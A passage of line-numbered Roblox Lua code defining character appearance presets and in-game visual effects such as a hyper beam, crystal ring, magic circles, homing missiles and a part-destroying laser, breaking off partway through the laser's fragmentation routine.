	Id = 3,
1600
	HeadColor = BrickColor.new("Pastel brown"),
1601
	TorsoColor = BrickColor.new("Pastel brown"),
1602
	RightArmColor = BrickColor.new("Pastel brown"),
1603
	LeftArmColor = BrickColor.new("Pastel brown"),
1604
	RightLegColor = BrickColor.new("White"),
1605
	LeftLegColor = BrickColor.new("White"),
1606
	CharacterAssets = {
1607
		134289125, 48474356,
1608
		100339040, 46302558,
1609
		153955895
1610
	},
1611
	HeadAssets = {},
1612
	TShirt = "rbxassetid://148856353"
1613
}
1614
CharacterAppearance.Create {
1615
	Id = 4,
1616
	HeadColor = BrickColor.new("Pastel brown"),
1617
	TorsoColor = BrickColor.new("Pastel brown"),
1618
	RightArmColor = BrickColor.new("Pastel brown"),
1619
	LeftArmColor = BrickColor.new("Pastel brown"),
1620
	RightLegColor = BrickColor.new("White"),
1621
	LeftLegColor = BrickColor.new("White"),
1622
	CharacterAssets = {
1623
		129458426, 96678344, 184489190
1624
	},
1625
	HeadAssets = {},
1626
	TShirt = "rbxassetid://160146697"
1627
}
1628
1629
GraphicalEffects = {};
1630
1631
local MESH_IDS = {"rbxassetid://15310891"}
1632
local SOUND_IDS = {"rbxassetid://2248511", "rbxassetid://1369158"}
1633
local TEXTURE_IDS = {"rbxassetid://36527089", "rbxassetid://122610943", "rbxassetid://126561317", "rbxassetid://127033719"}
1634
local preloadConnections = {}
1635
local reloadingPreloads = false
1636
function GraphicalEffects.InitPreloads()
1637
        local preload_part = Instance.new("Part")
1638
        GraphicalEffects.preload_part = preload_part
1639
        preload_part.Anchored = true
1640
        preload_part.Archivable = false
1641
        preload_part.BottomSurface = "Smooth"
1642
        preload_part.CanCollide = false
1643
        preload_part.CFrame = CFrame.new(math.huge, math.huge, math.huge)
1644
        preload_part.FormFactor = "Custom"
1645
        preload_part.Locked = true
1646
        preload_part.Name = "Asset Preloader"
1647
        preload_part.Size = Vector3.new(0.2, 0.2, 0.2)
1648
        preload_part.TopSurface = "Smooth"
1649
        preload_part.Transparency = 1
1650
        preloadConnections[preload_part] = preload_part.AncestryChanged:connect(GraphicalEffects.PreloadsAncestryChanged)
1651
        for _, mesh_id in ipairs(MESH_IDS) do
1652
                local mesh = Instance.new("SpecialMesh")
1653
                mesh.MeshType = "FileMesh"
1654
                mesh.MeshId = mesh_id
1655
                preloadConnections[mesh] = mesh.AncestryChanged:connect(GraphicalEffects.PreloadsAncestryChanged)
1656
                mesh.Parent = preload_part
1657
        end
1658
        for _, sound_id in ipairs(SOUND_IDS) do
1659
                local sound = Instance.new("Sound")
1660
                sound.SoundId = sound_id
1661
                sound.Volume = 0
1662
                preloadConnections[sound] = sound.AncestryChanged:connect(GraphicalEffects.PreloadsAncestryChanged)
1663
                sound.Parent = preload_part
1664
        end
1665
        for _, texture_id in ipairs(TEXTURE_IDS) do
1666
                local decal = Instance.new("Decal")
1667
                decal.Texture = texture_id
1668
                preloadConnections[decal] = decal.AncestryChanged:connect(GraphicalEffects.PreloadsAncestryChanged)
1669
                decal.Parent = preload_part
1670
        end
1671
        preload_part.Parent = Workspace
1672
end
1673
function GraphicalEffects.PreloadsAncestryChanged(child, parent)
1674
        if not reloadingPreloads and parent ~= GraphicalEffects.preload_part and parent ~= Workspace then
1675
                reloadingPreloads = true
1676
                for _, connection in pairs(preloadConnections) do
1677
                        connection:disconnect()
1678
                        preloadConnections[_] = nil
1679
                end
1680
                wait(1)
1681
                reloadingPreloads = false
1682
                GraphicalEffects.InitPreloads()
1683
        end
1684
end
1685
GraphicalEffects.InitPreloads()
1686
-- Hyper beam
1687
function GraphicalEffects.FireSpaceHyperBeam(target, power, duration, radius, height, deviation)
1688
        local stepTime, gameTime = 1 / 30, TaskScheduler.GetCurrentTime()
1689
        local frames = duration * 30
1690
        local beamColorOffset = 0.75 * tick() -- math.random()
1691
        local blastPressure = power * 62500 + 250000
1692
        local beamPart = Instance.new("Part")
1693
        local beamMesh = Instance.new("SpecialMesh", beamPart)
1694
        local explosion = Instance.new("Explosion")
1695
        local sound = Instance.new("Sound", beamPart)
1696
        beamPart.Anchored = true
1697
        beamPart.CanCollide = false
1698
        beamPart.CFrame = CFrame.new(target, target + Vector3.new(deviation * (math.random() - 0.5), deviation * (math.random() - 0.5), height))
1699
        beamPart.FormFactor = "Custom"
1700
        beamPart.Locked = true
1701
        beamPart.Size = Vector3.new(0.2, 0.2, 0.2)
1702
        beamMesh.MeshId = "rbxassetid://15310891"
1703
        beamMesh.MeshType = "FileMesh"
1704
        beamMesh.TextureId = "rbxassetid://36527089"
1705
        local beamGlowPart1 = beamPart:Clone()
1706
        local beamGlowMesh1 = beamMesh:Clone()
1707
        local beamGlowPart2 = beamPart:Clone()
1708
        local beamGlowMesh2 = beamMesh:Clone()
1709
        local beamLight = Instance.new("PointLight", beamPart)
1710
        beamLight.Range = power * 2
1711
        beamLight.Shadows = true
1712
        explosion.BlastPressure = blastPressure
1713
        explosion.BlastRadius = power
1714
        explosion.Position = target
1715
        sound.SoundId = "rbxassetid://2248511"
1716
        sound.Volume = 1
1717
        local explosionHitConnection = explosion.Hit:connect(function(part, distance)
1718
                if not part.Anchored and part:GetMass() < power * power then
1719
                        pcall(part.BreakJoints, part)
1720
                        part.Color = Color3.new(Utility.GetRainbowRGB(1.5 * gameTime + beamColorOffset))
1721
                end
1722
        end)
1723
        beamPart.Transparency = 0.5
1724
        beamPart.Archivable = false
1725
        beamGlowPart1.Transparency = 0.75
1726
        beamGlowPart2.Transparency = 0.75
1727
        beamGlowMesh1.Parent = beamGlowPart1
1728
        beamGlowPart1.Parent = beamPart
1729
        beamGlowMesh2.Parent = beamGlowPart2
1730
        beamGlowPart2.Parent = beamPart
1731
        beamPart.Parent = workspace
1732
        explosion.Parent = workspace
1733
        for frame = 1, frames do
1734
                local progress = frame / frames
1735
                local alpha = 1 - math.sin(0.5 * math.pi * progress)
1736
                local scale = 0.4 * alpha
1737
                local glowScale1 = alpha * (0.5 + 0.5 * math.sin(math.tau * (8 * gameTime + beamColorOffset)))
1738
                local glowScale2 = alpha * (0.5 + 0.5 * math.cos(math.tau * (8 * gameTime + beamColorOffset)))
1739
                local vertexColor =  Vector3.new(Utility.GetRainbowRGB(1.5 * gameTime + beamColorOffset))
1740
                beamLight.Brightness = 1 - progress
1741
                beamLight.Color = Color3.new(vertexColor.x, vertexColor.y, vertexColor.z)
1742
                beamMesh.Scale = Vector3.new(radius * scale, 9000, radius * scale)
1743
                beamMesh.VertexColor = vertexColor
1744
                beamGlowMesh1.Scale = Vector3.new(1.2 * radius * glowScale1, 9000, 1.2 * radius * glowScale1)
1745
                beamGlowMesh1.VertexColor = vertexColor
1746
                beamGlowMesh2.Scale = Vector3.new(1.2 * radius * glowScale2, 9000, 1.2 * radius * glowScale2)
1747
                beamGlowMesh2.VertexColor = vertexColor
1748
                RunService.Stepped:wait()
1749
                gameTime = TaskScheduler.GetCurrentTime()
1750
                if frame <= 2 then
1751
                        local explosion = Instance.new("Explosion")
1752
                        explosion.BlastPressure = (1 - progress) * blastPressure
1753
                        explosion.BlastRadius = (1 - progress) * power
1754
                        explosion.Position = target
1755
                        explosion.Parent = Workspace
1756
                        if frame == 2 then
1757
                                sound:Play()
1758
                        end
1759
                end
1760
        end
1761
        pcall(beamPart.Destroy, beamPart)
1762
        explosionHitConnection:disconnect()
1763
end
1764
function GraphicalEffects.SpaceHyperBeam(target, power, duration, radius, height, deviation)
1765
        TaskScheduler.Start(GraphicalEffects.FireSpaceHyperBeam, target, power or 12, duration or 1.5, radius or 6, height or 600, deviation or 20)
1766
end
1767
1768
function GraphicalEffects.CrystalRing(data)
1769
        data = data or {}
1770
        local crystal_count = data.crystal_count or 10
1771
        local crystal_color = data.crystal_color or BrickColor.new("Bright red")
1772
        local crystal_scale = data.crystal_scale or Vector3.new(2 / 3, 2, 2 / 3)
1773
        local fade_out_color = data.fade_out_color or BrickColor.new("Really black")
1774
        local radius = radius or 1.25 * crystal_count / math.pi
1775
        local spawn_duration = data.spawn_duration or 0.065
1776
        local full_spawn_duration = spawn_duration * crystal_count
1777
        local float_duration = data.float_duration or 5
1778
        local wave_amplitude = data.wave_amplitude or 0.5
1779
        local wave_period = data.wave_period or 1
1780
        local appear_duration = data.appear_duration or 0.1
1781
        local disappear_duration = data.disappear_duration or 0.5
1782
        local base_part = data.base_part
1783
        local offset_cframe
1784
        if data.position then
1785
                offset_cframe = CFrame.new(data.position)
1786
                if base_part then
1787
                        offset_cframe = base_part.CFrame:toObjectSpace(offset_cframe)
1788
                end
1789
        else
1790
                offset_cframe = CFrame.new()
1791
        end
1792
        local crystal_template = Instance.new("Part")
1793
        crystal_template.Anchored = true
1794
        crystal_template.Locked = true
1795
        crystal_template.CanCollide = false
1796
        crystal_template.BottomSurface = "Smooth"
1797
        crystal_template.TopSurface = "Smooth"
1798
        crystal_template.BrickColor = crystal_color
1799
        crystal_template.FormFactor = "Symmetric"
1800
        crystal_template.Size = Vector3.new(1, 1, 1)
1801
        local crystal_light = Instance.new("PointLight", crystal_template)
1802
        crystal_light.Brightness = 0.1 / crystal_count
1803
        crystal_light.Color = crystal_color.Color
1804
        crystal_light.Name = "Light"
1805
        crystal_light.Range = radius
1806
        crystal_light.Shadows = true
1807
        local crystal_mesh = Instance.new("SpecialMesh", crystal_template)
1808
        crystal_mesh.MeshId = "rbxassetid://9756362"
1809
        crystal_mesh.MeshType = "FileMesh"
1810
        crystal_mesh.Name = "Mesh"
1811
        crystal_mesh.Scale = crystal_scale
1812
        local crystal_model = Instance.new("Model")
1813
        crystal_model.Archivable = false
1814
        crystal_model.Name = "Crystal Model"
1815
        crystal_model.Parent = Workspace
1816
        local crystals = {}
1817
        local lights = {}
1818
        local meshes = {}
1819
        for index = 1, crystal_count do
1820
                local crystal = crystal_template:Clone()
1821
                crystal.Parent = crystal_model
1822
                crystals[index] = crystal
1823
                lights[index] = crystal.Light
1824
                meshes[index] = crystal.Mesh
1825
        end
1826
        local start_time = tick()
1827
        repeat
1828
                local base_cframe = offset_cframe
1829
                if base_part then
1830
                        base_cframe = base_part.CFrame * base_cframe
1831
                end
1832
                local elapsed_time = tick() - start_time
1833
                for index, crystal in ipairs(crystals) do
1834
                        local crystal_time = elapsed_time - index * spawn_duration
1835
                        local disappear_time = crystal_time - float_duration
1836
                        local offset
1837
                        if crystal_time < 0 then
1838
                                offset = 0
1839
                        elseif crystal_time < appear_duration then
1840
                                offset = radius * crystal_time / appear_duration
1841
                        else
1842
                                offset = radius
1843
                        end
1844
                        local wave_offset
1845
                        if disappear_time >= 0 then
1846
                                local disappear_progress = disappear_time / disappear_duration
1847
                                if disappear_progress > 1 then
1848
                                        if crystal.Parent then
1849
                                                crystal:Destroy()
1850
                                        end
1851
                                else
1852
                                        local inverse_progress = 1 - disappear_progress
1853
                                        local light = lights[index]
1854
                                        local mesh = meshes[index]
1855
                                        crystal.BrickColor = fade_out_color
1856
                                        light.Brightness = 2 * inverse_progress
1857
                                        light.Range = 2 * radius
1858
                                        mesh.Scale = crystal_scale * inverse_progress
1859
                                end
1860
                                wave_offset = 0
1861
                        else
1862
                                wave_offset = wave_amplitude * math.sin(math.tau * (elapsed_time - index / crystal_count * 3) / wave_period)
1863
                        end
1864
                        local rotation_angle = (tick() * 0.5 + (index - 1) / crystal_count) % 1 * math.tau
1865
                        crystal.CFrame = base_cframe * CFrame.Angles(0, rotation_angle, 0) * CFrame.new(0, wave_offset, -offset)
1866
                end
1867
                RunService.Stepped:wait()
1868
        until elapsed_time >= float_duration + full_spawn_duration + disappear_duration
1869
        if crystal_model.Parent then
1870
                crystal_model:Destroy()
1871
        end
1872
end
1873
1874
GraphicalEffects.magicCircleData = {}
1875
GraphicalEffects.MAGIC_CIRCLE_DEFAULT_OFFSET = 6.25
1876
function GraphicalEffects.AnimateMagicCircle(data)
1877
        local frame, direction, magic_circle_model, magic_circle_part, magic_circle_light, magic_circle_decal_back, magic_circle_decal_front, duration,
1878
 
1879
stay, magic_circle_adornee_func, magic_circle_offset = unpack(data)
1880
        frame = frame + 1
1881
        data[1] = frame
1882
        local transparency = (frame / duration) ^ stay
1883
        local opacity = 1 - transparency
1884
        if frame == duration then
1885
                pcall(Game.Destroy, magic_circle_model)
1886
                GraphicalEffects.magicCircleData[data] = nil
1887
        else
1888
                if magic_circle_model.Parent ~= Workspace then
1889
                        pcall(Utility.SetProperty, magic_circle_model, "Parent", Workspace)
1890
                end
1891
                local magic_circle_adornee = magic_circle_adornee_func()
1892
                magic_circle_position = magic_circle_adornee.Position + direction * magic_circle_offset
1893
                local magic_circle_cframe = CFrame.new(magic_circle_position, magic_circle_position + direction) * CFrame.Angles(0, 0, math.tau * frame /
1894
 
1895
25)
1896
                magic_circle_part.CFrame = magic_circle_cframe
1897
                magic_circle_light.Brightness = opacity
1898
                magic_circle_decal_back.Transparency = transparency
1899
                magic_circle_decal_front.Transparency = transparency
1900
        end
1901
end
1902
function GraphicalEffects.CreateMagicCircle(target, magic_circle_scale, magic_circle_image, light_color, duration, stay, magic_circle_adornee_func,
1903
 
1904
magic_circle_offset)
1905
        local magic_circle_adornee = magic_circle_adornee_func()
1906
        if magic_circle_adornee then
1907
                local origin = magic_circle_adornee.Position
1908
                local direction = (target - origin).unit
1909
                local magic_circle_position = origin + direction * magic_circle_offset
1910
                local magic_circle_cframe = CFrame.new(magic_circle_position, magic_circle_position + direction)
1911
                local magic_circle_model = Instance.new("Model")
1912
                local magic_circle_part = Instance.new("Part", magic_circle_model)
1913
                local magic_circle_mesh = Instance.new("BlockMesh", magic_circle_part)
1914
                local magic_circle_light = Instance.new("PointLight", magic_circle_part)
1915
                local magic_circle_decal_back = Instance.new("Decal", magic_circle_part)
1916
                local magic_circle_decal_front = Instance.new("Decal", magic_circle_part)
1917
                magic_circle_model.Archivable = false
1918
                magic_circle_part.Anchored = true
1919
                magic_circle_part.BottomSurface = "Smooth"
1920
                magic_circle_part.CanCollide = false
1921
                magic_circle_part.CFrame = magic_circle_cframe
1922
                magic_circle_part.FormFactor = "Custom"
1923
                magic_circle_part.Locked = true
1924
                magic_circle_part.Size = Vector3.new(0.2, 0.2, 0.2)
1925
                magic_circle_part.TopSurface = "Smooth"
1926
                magic_circle_part.Transparency = 1
1927
                magic_circle_mesh.Scale = Vector3.new(60, 60, 0) * magic_circle_scale
1928
                magic_circle_light.Color = light_color
1929
                magic_circle_light.Range = 16 * magic_circle_scale
1930
                magic_circle_light.Shadows = true
1931
                magic_circle_decal_back.Face = "Back"
1932
                magic_circle_decal_back.Texture = magic_circle_image
1933
                magic_circle_decal_front.Face = "Front"
1934
                magic_circle_decal_front.Texture = magic_circle_image
1935
                magic_circle_model.Parent = Workspace
1936
                local data = {0, direction, magic_circle_model, magic_circle_part, magic_circle_light, magic_circle_decal_back, magic_circle_decal_front,
1937
 
1938
duration, stay, magic_circle_adornee_func, magic_circle_offset}
1939
                GraphicalEffects.magicCircleData[data] = true
1940
                return data
1941
        end
1942
end
1943
1944
GraphicalEffects.missileData = {}
1945
GraphicalEffects.missileParts = {}
1946
function GraphicalEffects.AnimateMissile(data)
1947
        local frame, missilePart, targetPart, timeCreated, direction, touchedConnection, explodeRequested, bodyGyro, swooshSound, magicCircleData, lifeTime,
1948
 
1949
pointOnPart, flipped = unpack(data)
1950
        frame = frame + 1
1951
        data[1] = frame
1952
        if flipped then
1953
                direction = -direction
1954
        end
1955
        if frame <= 10 then
1956
                if frame == 2 then
1957
                        swooshSound:Play()
1958
                end
1959
                missilePart.Anchored = true
1960
                local progress = frame / 10
1961
                missilePart.Size = Vector3.new(1, 1, progress * 4)
1962
                local magicCirclePart = magicCircleData[4]
1963
                local magicCirclePosition = magicCirclePart.Position
1964
                local missileOffset = 2 * progress * direction
1965
                local missilePosition = magicCirclePosition + missileOffset
1966
                missilePart.CFrame = CFrame.new(missilePosition, missilePosition + direction)
1967
                --missilePart.Transparency = 0.5 * (1 - progress)
1968
                if frame == 10 then
1969
                        touchedConnection = missilePart.Touched:connect(function(hit)
1970
                                if hit.CanCollide and hit.Parent and not GraphicalEffects.missileParts[hit] then
1971
                                        touchedConnection:disconnect()
1972
                                        data[7] = true
1973
                                end
1974
                        end)
1975
                        data[6] = touchedConnection
1976
                end
1977
        else
1978
                missilePart.Anchored = false
1979
                local missilePosition = missilePart.Position
1980
                local targetPosition = targetPart.CFrame * pointOnPart
1981
                local distanceVector = targetPosition - missilePosition
1982
                local elapsedTime = time() - timeCreated
1983
                local targetParent = targetPart.Parent
1984
                if explodeRequested or (targetParent and distanceVector.magnitude < 10) or elapsedTime > lifeTime then
1985
                        GraphicalEffects.missileData[data] = nil
1986
                        GraphicalEffects.missileParts[missilePart] = nil
1987
                        touchedConnection:disconnect()
1988
                        if missilePart.Parent then
1989
                                missilePart:Destroy()
1990
                                local explosion = Instance.new("Explosion")
1991
                                explosion.BlastRadius = 12.5
1992
                                explosion.Position = missilePosition
1993
                                local explosionHitConnection = explosion.Hit:connect(function(hit, distance)
1994
                                        local missileData = GraphicalEffects.missileParts[hit]
1995
                                        if missileData and distance < 3 then
1996
                                                missileData[7] = true
1997
                                        else
1998
                                                pcall(hit.BreakJoints, hit)
1999
                                        end
2000
                                end)
2001
                                explosion.Parent = Workspace
2002
                                TaskScheduler.Schedule(1, explosionHitConnection.disconnect, explosionHitConnection)
2003
                        end
2004
                else
2005
                        local targetInWorkspace = targetPart:IsDescendantOf(Workspace)
2006
                        if targetInWorkspace then
2007
                                direction = distanceVector.unit
2008
                                data[5] = direction
2009
                        end
2010
                        local speed = 14 + elapsedTime * 10
2011
                        local gyroD
2012
                        if elapsedTime < 42.5 and targetInWorkspace then
2013
                                gyroD = 1000 - elapsedTime * 15
2014
                        else
2015
                                gyroD = 100
2016
                                bodyGyro.maxTorque = Vector3.new(0, 0, 0)
2017
                                if elapsedTime + 7.5 < lifeTime then
2018
                                        data[11] = elapsedTime + 7.5
2019
                                end
2020
                        end
2021
                        bodyGyro.D = gyroD
2022
                        bodyGyro.cframe = CFrame.new(Vector3.new(), direction)
2023
                        missilePart.Velocity = missilePart.CFrame.lookVector * speed
2024
                end
2025
        end
2026
end
2027
function GraphicalEffects.ShootMissile(targetPart, pointOnPart, direction, magic_circle_adornee_func, magic_circle_offset, flipped)
2028
        if not magic_circle_offset then
2029
                magic_circle_offset = GraphicalEffects.MAGIC_CIRCLE_DEFAULT_OFFSET
2030
        end
2031
        local targetPosition = targetPart.Position
2032
        local headPosition = chatAdornee.Position
2033
        local origin = CFrame.new(headPosition, headPosition + direction) + direction * magic_circle_offset
2034
        local missilePart = Instance.new("Part")
2035
        local antiGravityForce = Instance.new("BodyForce", missilePart)
2036
        local bodyGyro = Instance.new("BodyGyro", missilePart)
2037
        local explosionSound = Instance.new("Sound", missilePart)
2038
        local swooshSound = Instance.new("Sound", missilePart)
2039
        antiGravityForce.force = Vector3.new(0, 196.2 * 4, 0)
2040
        bodyGyro.D = 1000
2041
        bodyGyro.maxTorque = Vector3.new(1, 1, 1)
2042
        explosionSound.PlayOnRemove = true
2043
        explosionSound.SoundId = "rbxasset://sounds/collide.wav"
2044
        explosionSound.Volume = 1
2045
        missilePart.Anchored = true
2046
        missilePart.BackSurface = "Studs"
2047
        missilePart.BottomSurface = "Studs"
2048
        missilePart.BrickColor = BrickColor.Red()
2049
        missilePart.CFrame = origin
2050
        missilePart.FormFactor = "Custom"
2051
        missilePart.FrontSurface = "Studs"
2052
        missilePart.LeftSurface = "Studs"
2053
        missilePart.Locked = true
2054
        missilePart.RightSurface = "Studs"
2055
        missilePart.Size = Vector3.new(1, 1, 0.2)
2056
        missilePart.TopSurface = "Studs"
2057
        --missilePart.Transparency = 0.5
2058
        swooshSound.Looped = true
2059
        swooshSound.SoundId = "rbxasset://sounds/Rocket whoosh 01.wav"
2060
        swooshSound.Volume = 0.7
2061
        local magicCircleData = GraphicalEffects.CreateMagicCircle(headPosition + direction * 1000, 0.875, "rbxassetid://127033719", Color3.new(1, 1, 1),
2062
 
2063
40, 4, magic_circle_adornee_func or function() return chatAdornee end, magic_circle_offset)
2064
        local data = {0, missilePart, targetPart, time(), direction, false, false, bodyGyro, swooshSound, magicCircleData, 50, pointOnPart, flipped}
2065
        missilePart.Parent = Workspace
2066
        GraphicalEffects.missileData[data] = true
2067
        GraphicalEffects.missileParts[missilePart] = data
2068
end
2069
2070
function GraphicalEffects.CubicInterpolate(y0, y1, y2, y3, mu)
2071
        local a0, a1, a2, a3, mu2
2072
        mu2 = mu * mu
2073
        a0 = y3 - y2 - y0 + y1
2074
        a1 = y0 - y1 - a0
2075
        a2 = y2 - y0
2076
        a3 = y1
2077
        return a0 * mu * mu2 + a1 * mu2 + a2 * mu + a3
2078
end
2079
function GraphicalEffects.JointCrap(model, cycletime)
2080
        if model then
2081
                local cycletime = cycletime or (0.75 * (1 + math.random() * 4))
2082
                local offsetradius = 0.75
2083
                local rotationoffset = math.pi
2084
                local joints = {}
2085
                local stack = model:GetChildren()
2086
                while #stack ~= 0 do
2087
                        local object = stack[#stack]
2088
                        table.remove(stack)
2089
                        for index, child in ipairs(object:GetChildren()) do
2090
                                table.insert(stack, child)
2091
                        end
2092
                        if object:IsA("JointInstance") then
2093
                                table.insert(joints, object)
2094
                        end
2095
                end
2096
                local rot0 = {}
2097
                local rot1 = {}
2098
                local rot2 = {}
2099
                local rot3 = {}
2100
                local rot4 = {}
2101
                for index, joint in ipairs(joints) do
2102
                        local pos = Vector3.new(math.random() - 0.5, math.random() - 0.5, math.random() - 0.5).unit * offsetradius
2103
                        local rot = Vector3.new(math.random(), math.random(), math.random()) * rotationoffset
2104
                        rot0[index] = {joint.C0, joint.C1}
2105
                        rot = Vector3.new(rot.x % (math.tau), rot.y % (math.tau), rot.z % (math.tau))
2106
                        rot2[index] = {pos, rot}
2107
                        pos = Vector3.new(math.random() - 0.5, math.random() - 0.5, math.random() - 0.5).unit * offsetradius
2108
                        rot = rot + Vector3.new(math.random(), math.random(), math.random()) * rotationoffset
2109
                        rot = Vector3.new(rot.x % (math.tau), rot.y % (math.tau), rot.z % (math.tau))
2110
                        rot3[index] = {pos, rot}
2111
                        pos = Vector3.new(math.random() - 0.5, math.random() - 0.5, math.random() - 0.5).unit * offsetradius
2112
                        rot = rot + Vector3.new(math.random(), math.random(), math.random()) * rotationoffset
2113
                        rot = Vector3.new(rot.x % (math.tau), rot.y % (math.tau), rot.z % (math.tau))
2114
                        rot4[index] = {pos, rot}
2115
                end
2116
                while model.Parent do
2117
                        for i, j in ipairs(joints) do
2118
                                local pos = Vector3.new(math.random() - 0.5, math.random() - 0.5, math.random() - 0.5).unit * offsetradius
2119
                                local rot = rot4[i][2] + Vector3.new(math.random(), math.random(), math.random()) * rotationoffset
2120
                                rot = Vector3.new(rot.x % (math.tau), rot.y % (math.tau), rot.z % (math.tau))
2121
                                rot1[i], rot2[i], rot3[i], rot4[i] = rot2[i], rot3[i], rot4[i], {pos, rot}
2122
                        end
2123
                        local start = tick()
2124
                        while true do
2125
                                local ctime = tick()
2126
                                local elapsed = ctime - start
2127
                                if elapsed > cycletime then
2128
                                        break
2129
                                end
2130
                                local progress = elapsed / cycletime
2131
                                for index, joint in ipairs(joints) do
2132
                                        local v0, v1, v2, v3, v4 = rot0[index], rot1[index], rot2[index], rot3[index], rot4[index]
2133
                                        local p1, p2, p3, p4, r1, r2, r3, r4 = v1[1], v2[1], v3[1], v4[1], v1[2], v2[2], v3[2], v4[2]
2134
                                        local px = GraphicalEffects.CubicInterpolate(p1.x, p2.x, p3.x, p4.x, progress)
2135
                                        local py = GraphicalEffects.CubicInterpolate(p1.y, p2.y, p3.y, p4.y, progress)
2136
                                        local pz = GraphicalEffects.CubicInterpolate(p1.z, p2.z, p3.z, p4.z, progress)
2137
                                        local rx = GraphicalEffects.CubicInterpolate(r1.x, r2.x, r3.x, r4.x, progress)
2138
                                        local ry = GraphicalEffects.CubicInterpolate(r1.y, r2.y, r3.y, r4.y, progress)
2139
                                        local rz = GraphicalEffects.CubicInterpolate(r1.z, r2.z, r3.z, r4.z, progress)
2140
                                        local cframe = CFrame.new(px, py, pz) * CFrame.Angles(rx, ry, rz)
2141
                                        joint.C0 = v0[1] * cframe
2142
                                        joint.C1 = v0[2] * cframe:inverse()
2143
                                end
2144
                                RunService.Stepped:wait()
2145
                        end
2146
                end
2147
        end
2148
end
2149
2150
GraphicalEffects.LASER_WIDTH = 0.15
2151
GraphicalEffects.LASER_MAGIC_CIRCLE_DISTANCE = 6.25
2152
GraphicalEffects.laser_data = {}
2153
--GraphicalEffects.fragmentation = {}
2154
function GraphicalEffects.AnimateLaserOfDeath(data)
2155
        local frame, directionOrientation, direction, magic_circle_model, laser_part, laser_mesh, magic_circle_part, magic_circle_light,
2156
 
2157
magic_circle_decal_back, magic_circle_decal_front, sound, laser_scale, fragmentation_size, duration, laser_lights, laser_effects, stay, light_effects =
2158
 
2159
unpack(data)
2160
        local laser_color = laser_part.Color
2161
        frame = frame + 1
2162
        data[1] = frame
2163
        local transparency = (frame / duration) ^ stay
2164
        local opacity = 1 - transparency
2165
        if frame == 2 then
2166
                sound:Play()
2167
        end
2168
        if frame == duration then
2169
                pcall(Game.Destroy, magic_circle_model)
2170
                GraphicalEffects.laser_data[data] = nil
2171
        else
2172
                if magic_circle_model.Parent ~= Workspace then
2173
                        pcall(Utility.SetProperty, magic_circle_model, "Parent", Workspace)
2174
                end
2175
                local laser_distance = 0
2176
                local origin = chatAdornee.CFrame
2177
                if not light_effects then
2178
                        direction = (origin * directionOrientation - origin.p).unit
2179
                end
2180
                local magic_circle_position = origin.p + direction * GraphicalEffects.LASER_MAGIC_CIRCLE_DISTANCE
2181
                local magic_circle_cframe = CFrame.new(magic_circle_position, magic_circle_position + direction) * CFrame.Angles(0, 0, math.tau * frame /
2182
 
2183
25)
2184
                local loop_scale = (laser_scale - 1) / 10
2185
                for x_offset = -loop_scale, loop_scale, 2 do
2186
                        for y_offset = -loop_scale, loop_scale, 2 do
2187
                                local origin_position = magic_circle_cframe * Vector3.new(x_offset, y_offset, 0)
2188
                                for index = 1, 8 do
2189
                                        local part, position
2190
                                        for ray_index = 1, 10 do
2191
                                                local ray = Ray.new(origin_position + direction * (999 * (ray_index - 1)), direction * 999)
2192
                                                part, position = Workspace:FindPartOnRay(ray, magic_circle_model)
2193
                                                if part then
2194
                                                        break
2195
                                                end
2196
                                        end
2197
                                        if part then
2198
                                                laser_distance = (position - origin_position).magnitude
2199
                                                if frame % 8 == 1 and index == 1 then
2200
                                                        Instance.new("Explosion", Workspace).Position = position
2201
                                                end
2202
                                                if not part:IsA("Terrain") then
2203
                                                        pcall(part.BreakJoints, part)
2204
                                                        local is_block = part:IsA("Part") and part.Shape == Enum.PartType.Block
2205
                                                        local mass = part:GetMass()
2206
                                                        local size = part.Size
2207
                                                        if (is_block and ((size.X < fragmentation_size and size.Y < fragmentation_size and size.Z <
2208
 
2209
fragmentation_size) or (not part.Anchored and mass < 750))) or (not is_block and mass < 250000) then
2210
                                                                local part_transparency = math.max(part.Transparency + 0.007 * fragmentation_size, 0.5)
2211
                                                                if part_transparency >= 0.5 then -- temporarily to minimize debris
2212
                                                                        pcall(Game.Destroy, part)
2213
                                                                else
2214
                                                                        local cframe = part.CFrame
2215
                                                                        part.Anchored = false
2216
                                                                        part.BrickColor = BrickColor.new("Medium stone grey")
2217
                                                                        part.CanCollide = true
2218
                                                                        if part:IsA("FormFactorPart") then
2219
                                                                                part.FormFactor = "Custom"
2220
                                                                        end
2221
                                                                        part.Size = size - Vector3.new(0.135, 0.135, 0.135) * fragmentation_size
2222
                                                                        part.Transparency = part_transparency
2223
                                                                        part.CFrame = cframe + direction * 5
2224
                                                                        part.Velocity = part.Velocity + direction * 40
2225
                                                                end
2226
                                                        elseif is_block then
2227
                                                                local parts = {part}
2228
                                                                local model = Instance.new("Model", part.Parent)
2229
                                                                model.Name = "Fragments"
2230
                                                                if size.X >= fragmentation_size then
2231
                                                                        size = Vector3.new(0.5, 1, 1) * size
2232
                                                                        local archivable = part.Archivable
2233
                                                                        local cframe = part.CFrame
2234
                                                                        part.FormFactor = "Custom"
2235
                                                                        part.Size = size
2236
                                                                        part.Archivable = true
2237
                                                                        local part_clone = part:Clone()
2238
                                                                        part.Archivable = archivable
2239
                                                                        part_clone.Archivable = archivable
2240
                                                                        part.CFrame = cframe * CFrame.new(-0.5 * size.X, 0, 0)
2241
                                                                        part_clone.CFrame = cframe * CFrame.new(0.5 * size.X, 0, 0)
2242
                                                                        part_clone.Parent = model
2243
                                                                        parts[2] = part_clone
2244
                                                                end
2245
                                                                if size.Y >= fragmentation_size then
2246
                                                                        size = Vector3.new(1, 0.5, 1) * size
2247
                                                                        for part_index = 1, #parts do
2248
                                                                                local part = parts[part_index]
2249
                                                                                local archivable = part.Archivable
2250
                                                                                local cframe = part.CFrame
2251
                                                                                part.FormFactor = "Custom"
2252
                                                                                part.Size = size
2253
                                                                                part.Archivable = true
2254
                                                                                local part_clone = part:Clone()
2255
                                                                                part.Archivable = archivable
2256
                                                                                part_clone.Archivable = archivable
2257
                                                                                part.CFrame = cframe * CFrame.new(0, -0.5 * size.Y, 0)
2258
                                                                                part_clone.CFrame = cframe * CFrame.new(0, 0.5 * size.Y, 0)
2259
                                                                                part_clone.Parent = model
2260
                                                                                table.insert(parts, part_clone)
2261
                                                                        end
2262
                                                                end
2263
                                                                if size.Z >= fragmentation_size then
2264
                                                                        size = Vector3.new(1, 1, 0.5) * size
2265
                                                                        for part_index = 1, #parts do
2266
                                                                                local part = parts[part_index]
2267
                                                                                local archivable = part.Archivable
2268
                                                                                local cframe = part.CFrame
2269
                                                                                part.FormFactor = "Custom"
2270
                                                                                part.Size = size
2271
                                                                                part.Archivable = true
2272
